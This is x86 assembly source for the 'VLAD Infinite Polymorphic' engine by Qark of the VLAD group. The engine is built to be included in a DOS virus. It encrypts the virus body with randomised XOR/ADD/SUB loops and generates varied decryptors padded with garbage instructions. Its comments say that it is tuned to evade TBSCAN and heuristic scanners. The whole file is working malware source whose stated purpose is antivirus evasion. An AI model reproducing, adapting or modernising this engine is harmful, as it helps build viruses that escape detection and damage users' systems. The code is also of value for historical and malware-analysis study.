; ; VLAD Infinite Polymorphic - VIP ; by Qark - VLAD ; ; This engine is good in some respects, and poor in others. ; The encryption it creates is fairly easy to crack, being a looping ; xor with a keychange (all registers/values chosen at random), ; but the encryption loops are very hard to detect. There are four ; different loop types, of which TBSCAN can only find two. ; ; At the start of the decryptor, the engine won't produce some instructions ; that flag heuristics. For this reason, VIP avoids alot of the heuristic ; problems most other garbage generators have. For example: ; Doesn't produce INC/DEC in the first 20 bytes to avoid flags. ; Doesn't produce memory operations in the first 10 bytes. ; Doesn't produce XCHG in the first 10 bytes. ; Always uses the short version of instructions (AX/AL Imm etc) ; ; One problem that couldn't be avoided is the creation of FFFF word pointers ; causing crashes. The likelihood of them occurring is low (about 1 in 300 ; samples) because danger instructions have been put to a minimum. ; (eg mov ax,[bx-1] bx=0, isn't produced anymore). ; ; If you're wondering why the polymorphism produced isn't changing, that's ; because it's an example of slow polymorphism. ; ; To assemble, use it as an include file for the program that calls it. ; VIP: ;On entry: ; AL = 1 if COM file ; DS:SI = Points to the unencrypted virus ; ES:DI = Place to store encrypted virus ; CX = length of virus ; BP = delta offset ; Assumes CS=DS=ES ;On return: ; CX = length of decryptor + encrypted code cld mov word ptr saved_cx,cx mov word ptr saved_di,di mov word ptr saved_si,si mov byte ptr segtype,al mov byte ptr inloop,0 ;Initialise variable ;Initialise our randomisation for slow polymorphism. call init_rand ;Clear the register table call unmark_all ;Clear the displacements call clear_displacement ;Select a random decryption type. rand_routine: call get_rand mov si,offset dec_type and ax,3*2 add si,ax mov ax,word ptr [si] jmp ax Standard: ;Uses 'standard' encryption. ; ----This is a basic layout of the decryptor---- ; mov pointer,offset virus_start ; mov cipher,xorval ; loop: ; xor word ptr pointer,cipher ; inc pointer ; inc pointer ; cmp pointer,virus_start+virlength ; jne loop ; virus_start: ; ----------------------------------------------- call startup ;Setup pointer and cipher mov byte ptr inloop,1 mov word ptr loopstart,di call encrypt_type or al,0f8h mov ah,al mov al,81h ;CMP pointer,xxxx stosw call round_up add ax,word ptr pointer1val stosw call handle_jne ;JNE xx call calc_jne mov byte ptr inloop,0 ;Calculate the displacement call fix_displacements call encrypt_virus call decryptor_size ret Stack1: ;Use the stack method for encryption. This method doesnt work on EXE's ;because SS <> CS. ; ----This is a basic layout of the decryptor---- ; mov sp,offset virus_start ; mov cipher,xor_val ; loop: ; pop reg ; xor reg,cipher ; push reg ; pop randomreg ; cmp sp,virus_start+virus_length ; jne loop ; ----------------------------------------------- cmp byte ptr segtype,0 jne stack1_ok jmp rand_routine stack1_ok: call rand_garbage call rand_garbage mov al,0bch ;MOV SP,xxxx stosb mov word ptr displace,di mov ax,bp stosw call setup_cipher mov byte ptr inloop,1 mov word ptr loopstart,di call select_reg call rand_garbage push ax or al,58h ;POP reg stosb call rand_garbage mov al,33h ;XOR reg,reg stosb pop ax push ax push cx mov cl,3 shl al,3 or al,byte ptr cipher or al,0c0h stosb pop cx call rand_garbage pop ax or al,50h ;PUSH reg stosb call rand_garbage next_pop: call get_rand call check_reg jc next_pop and al,7 or al,58h ;POP reg (=add sp,2) stosb call rand_garbage mov ax,0fc81h ;CMP SP,xxxx stosw mov word ptr displace2,di call round_up add ax,bp stosw call handle_jne call calc_jne mov byte ptr inloop,0 mov al,0bch ;mov sp,0fffeh stosb mov ax,0fffeh stosw call rand_garbage ;Calculate the displacement call fix_displacements mov si,word ptr saved_si mov cx,word ptr saved_cx inc cx shr cx,1 mov bx,word ptr xorval enc_stack1: lodsw xor ax,bx stosw loop enc_stack1 call decryptor_size ret Call_Enc: ;Uses recursive calls to decrypt the virus. Needs a big stack or else it will ;crash. ; ----This is a basic layout of the decryptor---- ; mov pointer,offset virus_start ; mov cipher,xorval ; loop: ; cmp pointer,virus_start+virus_length ; jne small_dec ; ret ; small_dec: ; xor word ptr pointer,cipher ; inc pointer ; inc pointer ; call loop ; add sp,virus_length-2 ; ----------------------------------------------- call startup mov byte ptr inloop,1 mov word ptr loopback,di call rand_garbage mov al,byte ptr pointer or al,0f8h mov ah,al mov al,81h ;CMP pointer,xxxx stosw call round_up add ax,word ptr pointer1val stosw call handle_jne mov word ptr loopf,di stosb call rand_garbage mov al,0c3h ;RET stosb call rand_garbage mov ax,di ;Fix the JNE. mov si,word ptr loopf inc si sub ax,si dec si mov byte ptr [si],al call encrypt_type mov al,0e8h ;CALL xxxx stosb mov ax,di inc ax inc ax sub ax,word ptr loopback neg ax stosw mov byte ptr inloop,0 call rand_garbage mov ax,0c481h stosw mov ax,word ptr saved_cx dec ax dec ax stosw call rand_garbage ;Calculate the displacement call fix_displacements call encrypt_virus call decryptor_size ret Call_Enc2: ;Decrypts the virus from within a call. ; ----This is a basic layout of the decryptor---- ; mov pointer,offset virus_start ; mov cipher,xorval ; call decrypt ; jmp short virus_start ; decrypt: ; xor pointer,cipher ; inc pointer ; inc pointer ; cmp pointer,virus_start+viruslength ; jne decrypt ; ret ; ----------------------------------------------- call startup mov byte ptr inloop,1 mov al,0e8h ;CALL xxxx stosb stosw mov word ptr loopf16,di call rand_garbage mov al,0e9h ;JMP xxxx stosb mov word ptr displace2,di ; mov ax,di ; inc ax ; inc ax ; sub ax,saved_di ; neg ax stosw call rand_garbage call rand_garbage mov ax,di mov si,word ptr loopf16 sub ax,si mov word ptr [si-2],ax mov word ptr loopstart,di call encrypt_type or al,0f8h mov ah,al mov al,81h ;CMP pointer,xxxx stosw call round_up add ax,word ptr pointer1val stosw call handle_jne call calc_jne mov al,0c3h ;ret stosb mov byte ptr inloop,0 call rand_garbage mov ax,di mov si,word ptr displace2 sub ax,si dec ax dec ax mov [si],ax mov word ptr displace2,0 call rand_garbage ;Calculate the displacement call fix_displacements call encrypt_virus call decryptor_size ret db 'VIP V1.0 by Qark/VLAD' ;All the different encryption types dec_type dw offset stack1 dw offset call_enc dw offset call_enc2 dw offset standard segtype db 0 ;1 if com file saved_cx dw 0 ;the initial CX saved_di dw 0 ;the initial DI saved_si dw 0 displace dw 0 displace2 dw 0 dw 0 displaceb dw 0 inloop db 0 ;=1 if inside a loop else 0 ;if set no 'word ptr' instructions made loopstart dw 0 ;for backwards 8 bit loopf dw 0 ;for forwards 8 bit loopback dw 0 ;backwards 16 bit loopf16 dw 0 ;forwards 16 bit xorval dw 0 cipher db 0 r_m db 0 ;The r-m of the pointer ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;General routines, used universally ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Check_Reg: ;Returns a carry if the register in lower 3 bits of al is bad push ax push si and ax,7 mov si,offset reg add si,ax cmp byte ptr [si],0 pop si pop ax je ok_reg stc ret ok_reg: clc ret ; ax,cx,dx,bx,sp,bp,si,di reg db 00,00,00,00,01,00,00,00 Mark_Reg: ;Mark a register as used, AL=reg push ax push si and ax,7 mov si,offset reg add si,ax mov byte ptr [si],1 pop si pop ax ret UnMark_All: ;Clears the register table, and sets SP push ax push di push cx mov di,offset reg mov al,0 mov cx,8 cs: rep stosb mov byte ptr cs:[reg+4],1 ;set sp pop cx pop di pop ax ret Clear_Displacement: ;Clears all the displacement variables push di push ax mov di,offset displace xor ax,ax stosw stosw stosw stosw stosw pop ax pop di ret Select_Pointer: ;Select an r-m as a pointer, you must call this routine before reserving ;any registers. Updates the variable r_m. push ax push si call get_rand and ax,7 mov byte ptr r_m,al call index_2_pointer mov al,byte ptr [si] call mark_reg inc si mov al,byte ptr [si] cmp al,0 je no_pointer2 call mark_reg no_pointer2: pop si pop ax ret Setup_Pointer: ;Sets up the registers specified in the r-m with random values. These ;values are put into the variable 'pointval'. ;Moves the instructions into ES:DI. push ax push si call rand_garbage call index_2_pointer mov al,byte ptr [si] mov byte ptr pointer,al or al,0b8h ;MOV REG,xxxx stosb call get_rand stosw mov word ptr pointval,ax mov word ptr pointer1val,ax call rand_garbage mov al,byte ptr [si+1] cmp al,0 je no_setupp2 or al,0b8h ;MOV REG,xxxx stosb call get_rand stosw add word ptr pointval,ax call rand_garbage no_setupp2: pop si pop ax ret Index_2_Pointer: ;Sets SI to the 'pointers' table of the r_m push ax xor ax,ax mov al,byte ptr r_m shl ax,1 mov si,offset pointers add si,ax pop ax ret pointer db 0 ;the first register pointer1val dw 0 ;the value of the first register pointval dw 0 Pointers db 3,6 ;[bx+si] db 3,7 ;[bx+di] db 5,6 ;[bp+si] db 5,7 ;[bp+di] db 6,0 ;[si] db 7,0 ;[di] db 5,0 ;[bp] db 3,0 ;[bx] Select_Reg: ;Reserves a random register, and passes it out in AL ;AH is destroyed call get_rand call check_reg jc select_reg and al,7 call mark_reg ret Setup_Reg: ;Puts the value specified in BX, into the register specified in AL. ;-Needs Fixing- to add a possible SUB, and also the garbage generation needs ;to produce the same add/sub opcodes. push ax push bx call rand_garbage and al,7 push ax or al,0b8h ;MOV reg,xxxx stosb call get_rand sub bx,ax stosw call rand_garbage pop ax cmp al,0 jne long_addreg mov al,5 ;ADD AX,xxxx stosb jmp short finish_add long_addreg: or al,0c0h mov ah,al mov al,81h stosw ;ADD reg,xxxx finish_add: mov ax,bx stosw call rand_garbage pop bx pop ax ret Seg_Override: ;Puts the correct segment before a memory write. The memory write must be ;called immediately afterwards. push ax cmp byte ptr segtype,1 je no_segset mov al,2eh ;CS: stosb no_segset: pop ax ret Fix_Pointer: ;Fixes up the mod/rm field of a pointer instruction. Before this routine ;is called, the opcode field has already been stosb'd. eg for xor, 31h has ;been put into the current es:[di-1]. ;on entry AL=register ;The displacement field (the following 2 bytes) must be fixed up manually. push ax push bx push cx mov cl,3 shl al,cl or al,byte ptr r_m or al,80h stosb pop cx pop bx pop ax ret Dec_Inc_Reg: ;Inc/Dec's the reg in AL. AH= 0=inc 1=dec ;No garbage generators are called in this routine, because the flags ;may be important. push ax mov byte ptr dec_inc,ah call get_rand test al,1 pop ax push ax jnz do_inc_dec cmp al,0 ;check for ax jne not_ax_incdec mov ax,0ff05h ;ADD AX,ffff = DEC AX cmp byte ptr dec_inc,0 jne fdec1 mov al,2dh ;SUB fdec1: stosw mov al,0ffh stosb pop ax ret not_ax_incdec: cmp byte ptr dec_inc,0 je fdec2 or al,0c0h jmp short fdec3 fdec2: or al,0e8h fdec3: mov ah,al mov al,83h ;ADD reg,ffff = DEC reg stosw mov al,0ffh stosb pop ax ret do_inc_dec: or al,40h ;INC reg cmp byte ptr dec_inc,0 je fdec4 or al,8 fdec4: stosb pop ax ret dec_inc db 0 ;0=inc 1=dec Round_Up: ;Rounds up the number in saved_cx to the nearest 2 and passes it out in AX. mov ax,word ptr saved_cx inc ax shr ax,1 shl ax,1 mov word ptr saved_cx,ax ret Fix_Displacements: ;Adds the size of the produced decyptors to the data listed in the ;displacement variables. 0 Values signal the end. ;DI=The final length of the 'decryptor' push ax push si mov ax,di sub ax,word ptr saved_di push di mov si,offset displace disp_loop: cmp word ptr [si],0 je last_displacement mov di,[si] add [di],ax inc si inc si jmp short disp_loop last_displacement: pop di pop si pop ax ret Rand_Garbage: ;Generates 1-4 garbage instructions. push ax call get_rand and ax,07h push cx mov cx,ax inc cx start_garbage: call select_garbage loop start_garbage pop cx pop ax ret Select_Garbage: ;Selects a garbage routine to goto call get_rand and ax,14 push si mov si,offset calls add si,ax mov ax,word ptr [si] pop si jmp ax calls dw offset Make_Inc_Dec dw offset Imm2Reg dw offset Rand_Instr dw offset Mov_Imm dw offset Make_Xchg dw offset Rand_Instr dw offset Mov_Imm dw offset Imm2Reg Make_Inc_Dec: ;Puts a word INC/DEC in ES:DI ;eg INC AX ; DEC BP mov ax,di sub ax,word ptr saved_di cmp ax,15 ja not_poly_start ;inc/dec in the first 20 bytes, flags ret not_poly_start: call get_rand call check_reg jc make_inc_dec and al,0fh or al,40h test al,8 jnz calc_dec stosb ret calc_dec: mov ah,al and al,7 cmp al,2 ja Make_Inc_Dec mov al,ah stosb ret Fix_Register: ;AX=random byte, where the expected outcome is ah=opcode al=mod/rm ;Carry is set if bad register. Word_Byte is updated to show word/byte. test ah,1 jnz word_garbage mov byte ptr word_byte,0 call check_breg jmp short byte_garbage word_garbage: mov byte ptr word_byte,1 call check_reg byte_garbage: ret word_byte db 0 ;1=word, 0 = byte Imm2Reg: ;Immediate to register. call get_rand call fix_register jc imm2reg test al,7 ;AX/AL arent allowed (causes heuristics) jz imm2ax xchg al,ah and al,3 cmp al,2 ;signed byte is bad je imm2reg or al,80h or ah,0c0h stosw test al,2 ;signed word jnz ione_stosb call get_rand cmp byte ptr word_byte,1 jne ione_stosb stosb ione_stosb: call get_rand stosb ret imm2ax: xchg ah,al and al,3dh or al,4 stosw test al,1 jnz ione_stosb ret Rand_Instr: ;Creates a whole stack of instructions. ;and,or,xor,add,sub,adc,cmp,sbb mov ax,di sub ax,word ptr saved_di cmp ax,10 ja not_poly_start2 ;in the first 20 bytes, flags G ret not_poly_start2: call get_rand ;Inloop stops xxx xx,word ptr [xxxx] instructions inside the ;loops. It changes them to 'byte ptr' which stops the ffff crash ;problem. cmp byte ptr inloop,1 jne ok_words and ah,0feh ok_words: call fix_register jc rand_instr push cx mov cl,3 rol al,cl pop cx xchg ah,al and al,039h or al,2 ;set direction flag stosb mov al,ah and al,0c0h cmp al,0c0h je zerobytedisp cmp al,0 je checkdisp cmp al,80h je twobytedisp ;sign extended mov al,ah stosb negative_value: call get_rand cmp al,0ffh je negative_value stosb ret twobytedisp: mov al,ah stosb call get_rand stosw ret checkdisp: push ax and ah,7 cmp ah,6 pop ax je twobytedisp zerobytedisp: mov al,ah stosb ret Mov_Imm: ;Puts a MOV immediate instruction. call get_rand test al,8 jnz word_mov call check_breg jmp short mov_check word_mov: call check_reg mov_check: jc mov_imm and al,0fh or al,0b0h stosb test al,8 jnz mov_word call get_rand stosb ret mov_word: call get_rand stosw ret Init_Rand: ;Initialises the Get_Rand procedure. push ax push cx push dx push si push ds mov si,1 mov ax,0ffffh ;Get word from ROM BIOS. mov ds,ax mov ax,word ptr [si] pop ds mov word ptr randseed,ax call get_rand push ax mov ah,2ah ;Get Date. int 21h ;call int21h pop ax add ax,cx xor ax,dx mov word ptr randseed,ax call get_rand pop si pop dx pop cx pop ax ret Get_Rand: ;Gets a random number in AX. push cx push dx mov ax,word ptr randseed mov cx,ax mov dx,ax and cx,1ffh or cl,01fh propogate: add dx,ax mul dx add ax,4321h neg ax ror dx,1 loop propogate mov word ptr randseed,ax pop dx pop cx ret randseed dw 0 Make_Xchg: mov ax,di sub ax,word ptr saved_di cmp ax,10 ja not_poly_start3 ;inc/dec in the first 20 bytes, flags ret not_poly_start3: call get_rand call fix_register jc make_xchg push cx mov cl,3 rol al,cl pop cx call fix_register jc make_xchg test ah,1 jz xchg_8bit test al,7 jz xchg_ax2 test al,38h jz xchg_ax1 xchg_8bit: and ax,13fh or ax,86c0h xchg ah,al stosw ret xchg_ax1: and al,7 or al,90h stosb ret xchg_ax2: push cx mov cl,3 ror al,cl pop cx jmp short xchg_ax1 Check_bReg: ;Checks if an 8bit reg is used or not. ;AL=register push ax and al,3 call check_reg pop ax ret Decryptor_Size: ;Calculate the size of the decryptor + code ;Entry: DI=everything done ;Exit : CX=total decryptor length mov cx,di sub cx,word ptr saved_di ret Setup_Cipher: ;Randomly selects a cipher register and initialises it with a value. ;Puts the register into the variable 'cipher' and the value into 'xorval' call rand_garbage call get_rand mov bx,ax mov word ptr xorval,ax call select_reg mov byte ptr cipher,al call setup_reg call rand_garbage ret Startup: ;Does the most common startup procedures. Puts some garbage, and sets ;up the pointer register. call rand_garbage call rand_garbage call select_pointer ;Setup pointer call setup_pointer call setup_cipher ret Handle_JNE: ;Randomly puts either JNE or JB at ES:DI. ;Must be called after the CMP instruction. push ax push si ;Test to make sure our pointer isnt going +ffff, if so, only use ;jne, not jnb. call round_up add ax,word ptr pointer1val jnc random_jne mov al,75h jmp short unrandom_jne random_jne: call get_rand and ax,1 mov si,offset jne_table add si,ax mov al,byte ptr [si] unrandom_jne: stosb pop si pop ax ret jne_table db 75h ;JNE/JNZ db 72h ;JB/JNAE Calc_JNE: ;Calculates the distance needed to JMP backwards and puts it into ES:DI. ;On entry DI points to the byte after a JNE/JB instruction ; and 'loopstart' contains the offset of the loop. push ax mov ax,di inc ax sub ax,word ptr loopstart neg al stosb call rand_garbage pop ax ret Increase_Pointer: ;Increases the register specified in 'pointer' by two. ;On exit AL=pointer register. call rand_garbage xor ax,ax mov al,byte ptr pointer call dec_inc_reg call rand_garbage call dec_inc_reg call rand_garbage ret Encrypt_Type: ;Selects the type of encryption and sets everything up. call rand_garbage call seg_override call rand3 mov al,byte ptr [si+1] mov byte ptr encbyte,al mov al,byte ptr [si] ;The instruction from 'enc_table' stosb mov al,byte ptr cipher call fix_pointer mov word ptr displace,di mov ax,bp sub ax,word ptr pointval stosw call rand_garbage call rand3 mov al,byte ptr [si+2] or al,0c3h mov byte ptr encb2,al cmp byte ptr cipher,0 jne fix_16imm mov al,byte ptr [si+2] or al,5 stosb jmp short set_imm fix_16imm: mov al,81h stosb mov al,byte ptr [si+2] or al,0c0h or al,byte ptr cipher stosb set_imm: call get_rand stosw mov word ptr encval2,ax call increase_pointer ret enc_table db 31h ;XOR ;Direct word operation db 33h ;XOR reg,reg ;Undo.. db 30h db 01h ;ADD db 2bh ;SUB reg,reg db 0 ;ADD db 29h ;SUB db 03h ;ADD reg,reg db 28h Rand3: ;Gets a number in ax, either 0,4,8, and indexes SI that distance into ;enc_table. encrypt_rand: call get_rand mov cx,3 xor dx,dx div cx mov ax,dx xor dx,dx mul cx mov si,offset enc_table add si,ax ret Encrypt_Virus: mov si,word ptr saved_si mov cx,word ptr saved_cx inc cx shr cx,1 mov bx,word ptr xorval enc_loop: lodsw ;op ax,bx encbyte db 0 ;op db 0c3h db 81h encb2 db 0 encval2 dw 0 stosw loop enc_loop ret